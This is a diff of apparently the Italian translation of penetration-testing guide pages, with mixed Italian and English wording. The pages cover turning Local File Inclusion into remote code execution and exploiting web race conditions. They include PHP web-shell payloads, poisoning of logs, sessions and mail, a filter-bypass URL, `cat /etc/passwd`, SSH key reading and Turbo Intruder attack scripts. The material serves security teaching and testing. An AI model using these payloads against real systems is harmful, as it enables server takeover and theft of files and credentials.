+> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che proverà a caricare il file di log e non avrai una seconda opportunità.
 
-Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita dentro questo header.\
+This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
 Altri possibili percorsi di log:
 ```python
 /var/log/apache2/access.log
@@ -499,39 +499,39 @@ Altri possibili percorsi di log:
 ```
 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 
-### Tramite Email
+### Via Email
 
-**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere la mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
+**Invia una mail** a un account interno (user@localhost) contenente il tuo PHP payload come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere la mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
 
-### Tramite /proc/\*/fd/\*
+### Via /proc/\*/fd/\*
 
-1. Carica molte shells (ad esempio: 100)
-2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere ottenuto tramite brute force) e $FD il file descriptor (anche questo può essere ottenuto tramite brute force)
+1. Upload molti shells (per esempio : 100)  
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anche)
 
-### Tramite /proc/self/environ
+### Via /proc/self/environ
 
 Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Tramite upload
+### Via upload
 
-Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: `<?php system($_GET['c']); ?>`).
+Se puoi uploadare un file, iniettaci semplicemente il shell payload (es.: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Per mantenere il file leggibile è meglio iniettare nei metadati di immagini/documenti/pdf
+Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf
 
-### Via upload di file Zip
+### Tramite upload di file ZIP
 
 Carica un file ZIP contenente una shell PHP compressa e accedi:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Tramite PHP sessions
+### Tramite sessioni PHP
 
-Controlla se il sito utilizza PHP Session (PHPSESSID)
+Verifica se il sito utilizza la sessione PHP (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@@ -545,48 +545,48 @@ Imposta il cookie su `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Usa la LFI per includere il file di sessione PHP
+Usa LFI per includere il file di sessione PHP
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
 ### Via ssh
 
-Se ssh è attivo, verifica quale utente viene usato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id_rsa**
+Se ssh è attivo controlla quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id_rsa**
 
-### **Via** **vsftpd** _**logs**_
+### **Via** **vsftpd** _**log**_
 
-I log del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui sia presente una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
+I log del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui esista una vulnerabilità Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
 
 1. Inietta un payload PHP nel campo username durante il processo di login.
-2. Dopo l'iniezione, utilizza la LFI per recuperare i log del server da _**/var/log/vsftpd.log**_.
+2. Dopo l'iniezione, usa la LFI per recuperare i log del server da _**/var/log/vsftpd.log**_.
 
 ### Via php base64 filter (using base64)
 
-As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", il filtro ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
+Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro PHP base64 ignora semplicemente i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", esso ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Via php filters (nessun file richiesto)
+### Tramite php filters (no file needed)
 
-Questo [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Il che fondamentalmente significa che puoi **generate arbitrary php code** per l'include **without needing to write** it in un file.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Questo significa fondamentalmente che puoi **generate arbitrary php code** per l'include **without needing to write** il codice su un file.
 
 
 {{#ref}}
 lfi2rce-via-php-filters.md
 {{#endref}}
 
-### Via segmentation fault
+### Tramite segmentation fault
 
-**Upload** un file che sarà memorizzato come **temporary** in `/tmp`, poi nella **same request,** scatena un **segmentation fault**, e allora il **temporary file won't be deleted** e potrai cercarlo.
+**Upload** un file che verrà salvato come temporaneo in `/tmp`, poi nella **same request** causa un **segmentation fault**, e il **temporary file non verrà eliminato** e potrai cercarlo.
 
 
 {{#ref}}
 lfi2rce-via-segmentation-fault.md
 {{#endref}}
 
-### Via Nginx temp file storage
+### Tramite Nginx temp file storage
 
 Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
 
@@ -595,29 +595,29 @@ Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP
 lfi2rce-via-nginx-temp-files.md
 {{#endref}}
 
-### Via PHP_SESSION_UPLOAD_PROGRESS
+### Tramite PHP_SESSION_UPLOAD_PROGRESS
 
-Se trovi una **Local File Inclusion** anche se **don't have a session** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **enable the session for you**. Potresti abusarne per ottenere RCE:
+Se trovi una **Local File Inclusion** anche se **non hai una sessione** e `session.auto_start` è `Off`. Se fornisci **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abiliterà la sessione per te**. Potresti abusarne per ottenere RCE:
 
 
 {{#ref}}
 via-php_session_upload_progress.md
 {{#endref}}
 
-### Via temp file uploads in Windows
+### Tramite temp file uploads in Windows
 
-Se trovi una **Local File Inclusion** e il server gira su **Windows** potresti ottenere RCE:
+Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere RCE:
 
 
 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
 {{#endref}}
 
-### Via `pearcmd.php` + URL args
+### Tramite `pearcmd.php` + URL args
 
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default nelle php docker images. Inoltre, è possibile passare argomenti allo script via URL perché è indicato che se un parametro URL non ha un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default nelle php docker images. Inoltre, è possibile passare argomenti allo script via URL perché è indicato che se un param URL non contiene un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
 
-The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
+La seguente richiesta crea un file in `/tmp/hello.php` con il contenuto `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
@@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 ```
 ### Via phpinfo() (file_uploads = on)
 
-Se hai trovato una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
+Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
 
 
 {{#ref}}
@@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
 
 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
-Se hai trovato una **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere contiene marker PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
+Se trovi una **Local File Inclusion** e **can exfiltrate the path** del file temporaneo MA il **server** è **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**:
 
 
 {{#ref}}
@@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### Via eternal waiting + bruteforce
 
-Se puoi abusare della LFI per caricare file temporanei e far bloccare l'esecuzione PHP del server, potresti poi provare a brute-forceare i nomi dei file per ore per trovare il file temporaneo:
+Se puoi abusare della LFI per **upload temporary files** e far sì che il **server** **hang** l'esecuzione PHP, puoi poi **brute force filenames during hours** per trovare il file temporaneo:
 
 
 {{#ref}}
@@ -657,15 +657,15 @@ lfi2rce-via-eternal-waiting.md
 
 ### To Fatal Error
 
-Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore).
+Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore).
 
-**Non so quanto possa essere utile ma potrebbe esserlo.**\
-_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
+**Non so quanto sia utile ma potrebbe esserlo.**\
+_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 
 
-## Riferimenti
+## References
 
 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

src/pentesting-web/race-condition.md

@@ -3,47 +3,47 @@
 {{#include ../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Per ottenere una comprensione approfondita di questa tecnica consulta il report originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Per ottenere una comprensione approfondita di questa tecnica, consulta il report originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 
-## Migliorare gli attacchi di Race Condition
+## Miglioramento degli attacchi Race Condition
 
-Il principale ostacolo nello sfruttare race conditions è assicurarsi che più richieste siano elaborate nello stesso momento, con **una differenza di tempo di elaborazione molto bassa—idealmente inferiore a 1ms**.
+Il principale ostacolo nello sfruttare le race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con una differenza di tempo di elaborazione **molto ridotta — idealmente, inferiore a 1ms**.
 
-Di seguito alcune tecniche per sincronizzare le richieste:
+Qui trovi alcune tecniche per sincronizzare le richieste:
 
 #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
 
-- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition consistente.
-- **HTTP/1.1 'Last-Byte Sync'**: Permette di inviare in anticipo la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento che viene poi inviato insieme, ottenendo l'arrivo simultaneo al server.
+- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del network jitter. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition consistente.
+- **HTTP/1.1 'Last-Byte Sync'**: Permette di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento che viene poi inviato insieme, ottenendo l'arrivo simultaneo al server.
 
-La preparazione per Last-Byte Sync comporta:
+**Preparazione per Last-Byte Sync** comprende:
 
-1. Inviare headers e body data meno l'ultimo byte senza terminare lo stream.
+1. Inviare header e body meno l'ultimo byte senza chiudere lo stream.
 2. Mettere in pausa per 100ms dopo l'invio iniziale.
-3. Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle per raggruppare i frame finali.
-4. Inviare ping per scaldare la connessione.
+3. Disabilitare TCP_NODELAY per utilizzare Nagle's algorithm e batchare i frame finali.
+4. Eseguire ping per scaldare la connessione.
 
-L'invio successivo dei frame trattenuti dovrebbe portare al loro arrivo in un unico pacchetto, verificabile con Wireshark. Questo metodo non si applica ai file statici, che normalmente non sono coinvolti negli attacchi RC.
+L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile con Wireshark. Questo metodo non si applica ai file statici, che tipicamente non sono coinvolti negli attacchi RC.
 
 ### Adattarsi all'architettura del server
 
-Comprendere l'architettura del target è cruciale. I front-end server potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il pre-warming delle connessioni lato server, tramite richieste di poco conto, potrebbe normalizzare i tempi delle richieste.
+Capire l'architettura del target è cruciale. I front-end server potrebbero instradare le richieste in modo diverso, influenzando i tempi. Riscaldare preventivamente le connessioni lato server, tramite richieste inconsequenziali, può normalizzare i tempi delle richieste.
 
 #### Gestire il locking basato sulla sessione
 
-Framework come il session handler di PHP serializzano le richieste per sessione, potenzialmente nascondendo vulnerabilità. Usare token di sessione diversi per ogni richiesta può aggirare questo problema.
+Framework come il session handler di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.
 
 #### Superare limiti di rate o di risorse
 
-Se il connection warming non è efficace, indurre intenzionalmente i delay dei limiti di rate o risorse del web server tramite un flood di richieste fittizie potrebbe facilitare il single-packet attack inducendo un ritardo lato server favorevole alle race conditions.
+Se il warming della connessione non funziona, indurre intenzionalmente ritardi sui web server attraverso un flood di richieste dummy può facilitare il single-packet attack creando un ritardo lato server favorevole alle race condition.
 
 ## Esempi di attacco
 
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puoi cambiare nella request il valore che vuoi brute-forceare per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e poi selezionare lo **`examples/race-single-packer-attack.py`** dal menu a tendina:
 
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
 
-Se vuoi **inviare valori diversi**, puoi modificare il codice con questo che usa una wordlist dagli appunti:
+Se hai intenzione di **inviare valori diversi**, puoi modificare il codice con questo che usa una wordlist dalla clipboard:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
@@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
 > [!WARNING]
 > Se il web non supporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` invece di `Engine.BURP2`.
 
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Se devi inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per attivare la RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa del genere:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Nel caso tu debba inviare una richiesta a un endpoint e poi più richieste ad altri endpoint per innescare la RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa del genere:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
 engine.openGate(currentAttempt)
 ```
 - È anche disponibile in **Repeater** tramite la nuova opzione '**Send group in parallel**' in Burp Suite.
-- Per **limit-overrun** potresti semplicemente aggiungere la **stessa request 50 volte** nel gruppo.
-- Per **connection warming**, potresti **aggiungere** all'**inizio** del **gruppo** alcune **requests** a qualche parte non statica del web server.
-- Per il **delaying** del processo **tra** l'elaborazione **di una request e l'altra** in una procedura a 2 sottostati, potresti **aggiungere request extra tra** entrambe le request.
-- Per una RC **multi-endpoint** potresti iniziare inviando la **request** che **porta allo stato nascosto** e poi **50 requests** subito dopo che **sfruttano lo stato nascosto**.
+- Per **limit-overrun** puoi semplicemente aggiungere **the same request 50 times** nel gruppo.
+- Per **connection warming**, potresti **add** all'**beginning** del **group** alcune **requests** verso qualche parte non statica del web server.
+- Per **delaying** il processo **between** l'elaborazione di **one request and another** in una procedura a 2 substates, potresti **add extra requests between** le due **requests**.
+- Per una **multi-endpoint** RC potresti iniziare a inviare la **request** che **goes to the hidden state** e poi **50 requests** subito dopo che **exploits the hidden state**.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **Automated python script**: Lo scopo di questo script è modificare l'email di un utente verificandola continuamente finché il token di verifica della nuova email non arriva all'ultima email (questo perché nel codice si osservava una RC in cui era possibile modificare un'email ma far inviare la verifica alla vecchia poiché la variabile che indicava l'email era già popolata con la prima).\
-Quando la parola "objetivo" viene trovata nelle email ricevute, sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco.
+- **Automated python script**: Lo scopo di questo script è cambiare l'email di un utente mentre la verifica continuamente fino a quando il verification token della nuova email non arriva alla vecchia email (questo perché nel codice si osservava una RC in cui era possibile modificare un'email ma far inviare la verification alla vecchia, perché la variabile che indica l'email era già popolata con la prima).\
+Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il verification token dell'email modificata e terminiamo l'attacco.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@@ -217,21 +217,29 @@ h2_conn.close_connection()
 
 response = requests.get(url, verify=False)
 ```
-### Miglioramento di Single Packet Attack
+#### Turbo Intruder: engine and gating notes
 
-Nella ricerca originale è spiegato che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) è stato spiegato come sia possibile estendere il limite di 1.500 byte del single packet attack fino alla **limitazione della finestra TCP di 65.535 B usando IP layer fragmentation** (splitting a single packet into multiple IP packets) e inviando i frammenti in ordine diverso, impedendo il reassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 request in circa 166ms.
+- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
+- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
+- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
 
-Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede centinaia/migliaia di pacchetti che arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni popolari HTTP server come Apache, Nginx e Go hanno un valore rigido di `SETTINGS_MAX_CONCURRENT_STREAMS` impostato rispettivamente a 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 lo hanno illimitato.\
-Questo significa sostanzialmente che Apache considererà solo 100 connessioni HTTP da una singola TCP connection (limitando questo RC attack).
 
-Puoi trovare alcuni esempi che utilizzano questa tecnica nel repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
+### Improving Single Packet Attack
+
+Nella ricerca originale viene spiegato che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), viene mostrato come sia possibile estendere la limitazione di 1.500 byte della single packet attack fino al **limite di finestra di TCP di 65.535 B utilizzando la frammentazione a livello IP** (splitting a single packet into multiple IP packets) e inviando i frammenti in ordine diverso, consentendo di evitare il riassemblaggio del pacchetto fino a quando tutti i frammenti non sono stati ricevuti dal server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms.
+
+Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiedono centinaia/migliaia di pacchetti che arrivino contemporaneamente, potrebbe presentare anche alcune limitazioni software. Alcuni popolari server HTTP come Apache, Nginx e Go hanno un'impostazione `SETTINGS_MAX_CONCURRENT_STREAMS` rigida rispettivamente a 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 la hanno illimitata.\
+Questo sostanzialmente significa che Apache considererà soltanto 100 connessioni HTTP da una singola connessione TCP (limitando questo RC attack).
+
+You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 
 ## Raw BF
 
-Prima della ricerca precedente, questi erano alcuni payload usati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per provocare una RC.
+Prima della ricerca precedente, questi erano alcuni payload usati che semplicemente cercavano di inviare i pacchetti il più velocemente possibile per causare una RC.
 
-- **Repeater:** Consulta gli esempi della sezione precedente.
-- **Intruder**: Invia la **request** a **Intruder**, imposta il **number of threads** a **30** nel **Options menu**, seleziona come payload **Null payloads** e genera **30**.
+- **Repeater:** Check the examples from the previous section.
+- **Intruder**: Invia la **request** a **Intruder**, imposta il **number of threads** a **30** dentro il **Options menu**, seleziona come payload **Null payloads** e genera **30.**
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@@ -283,9 +291,9 @@ asyncio.run(main())
 
 ### Limit-overrun / TOCTOU
 
-Questo è il tipo più basilare di race condition dove le **vulnerabilità** **appaiono** in punti che **limitano il numero di volte in cui puoi eseguire un'azione**. Per esempio usare lo stesso codice sconto più volte in un negozio web. Un esempio molto semplice si trova in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**this bug**](https://hackerone.com/reports/759247)**.**
+Questo è il tipo più basilare di race condition in cui **vulnerabilities** **appaiono** in punti che **limitano il numero di volte in cui puoi eseguire un'azione**. Come usare lo stesso codice sconto più volte in un negozio online. Un esempio molto semplice si trova in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**this bug**](https://hackerone.com/reports/759247)**.**
 
-Ci sono molte varianti di questo tipo di attacco, tra cui:
+There are many variations of this kind of attack, including:
 
 - Riscattare una gift card più volte
 - Valutare un prodotto più volte
@@ -293,57 +301,57 @@ Ci sono molte varianti di questo tipo di attacco, tra cui:
 - Riutilizzare la stessa soluzione CAPTCHA
 - Bypassare un anti-brute-force rate limit
 
-### **Sottostati nascosti**
+### **Hidden substates**
 
-Sfruttare race condition complesse spesso implica approfittare di brevi opportunità per interagire con sottostati della macchina nascosti o **non intenzionali**. Ecco come affrontarlo:
+Sfruttare race condition complesse spesso comporta approfittare di brevi opportunità per interagire con sottostati nascosti o **unintended machine substates**. Ecco come procedere:
 
-1. **Identificare potenziali sottostati nascosti**
-- Inizia individuando endpoint che modificano o interagiscono con dati critici, come profili utente o processi di password reset. Concentrati su:
-- **Storage**: Preferisci endpoint che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
-- **Action**: Cerca operazioni che alterano dati esistenti, più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
-- **Keying**: Attacchi riusciti di solito coinvolgono operazioni indicizzate dallo stesso identificatore, e.g., username o reset token.
-2. **Condurre un probing iniziale**
-- Testa gli endpoint individuati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono indicare una vulnerabilità.
-3. **Dimostrare la vulnerabilità**
-- Riduci l'attacco al numero minimo di richieste necessario per sfruttare la vulnerabilità, spesso solo due. Questo passaggio può richiedere tentativi multipli o automazione a causa della tempistica precisa richiesta.
+1. **Identify Potential Hidden Substates**
+- Inizia individuando gli endpoints che modificano o interagiscono con dati critici, come user profiles o password reset processes. Concentrati su:
+- **Storage**: Preferisci gli endpoints che manipolano server-side persistent data rispetto a quelli che gestiscono dati client-side.
+- **Action**: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
+- **Keying**: Gli attacchi di successo di solito coinvolgono operazioni keyed sullo stesso identifier, es. username o reset token.
+2. **Conduct Initial Probing**
+- Testa gli endpoints identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerability.
+3. **Demonstrate the Vulnerability**
+- Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerability, spesso solo due. Questo passaggio può richiedere tentativi multipli o automazione a causa della precisa temporizzazione richiesta.
 
 ### Time Sensitive Attacks
 
-La precisione nel sincronizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp vengono usati per generare token di sicurezza. Per esempio, generare password reset tokens basati sui timestamp potrebbe permettere token identici per richieste simultanee.
+La precisione nella temporizzazione delle richieste può rivelare vulnerabilità, specialmente quando si usano metodi prevedibili come timestamps per security tokens. Per esempio, generare password reset tokens basati su timestamps potrebbe permettere token identici per richieste simultanee.
 
 **To Exploit:**
 
-- Usa tempistiche precise, come un single packet attack, per effettuare richieste di password reset concorrenti. Token identici indicano una vulnerabilità.
+- Usa una temporizzazione precisa, come un single packet attack, per effettuare concurrent password reset requests. Token identici indicano una vulnerability.
 
 **Example:**
 
-- Richiedi due password reset token contemporaneamente e confrontali. Token che combaciano suggeriscono un difetto nella generazione dei token.
+- Richiedi due password reset tokens nello stesso momento e confrontali. Token corrispondenti suggeriscono una falla nella generazione dei token.
 
-**Dai un'occhiata a** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provarlo.**
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
 
-## Casi di studio sui sottostati nascosti
+## Hidden substates case studies
 
-### Paga & aggiungi un articolo
+### Pay & add an Item
 
-Dai un'occhiata a [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) per vedere come **pagare** in un negozio e **aggiungere un articolo extra** che **non dovrai pagare**.
+Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
 
-### Confermare altre email
+### Confirm other emails
 
-L'idea è **verificare un indirizzo email e cambiarlo contemporaneamente con un altro** per capire se la piattaforma verifica il nuovo indirizzo.
+L'idea è di **verify an email address and change it to a different one at the same time** per scoprire se la piattaforma verifica la nuova email cambiata.
 
-### Cambiare l'email in 2 indirizzi (basato su cookie)
+### Change email to 2 emails addresses Cookie based
 
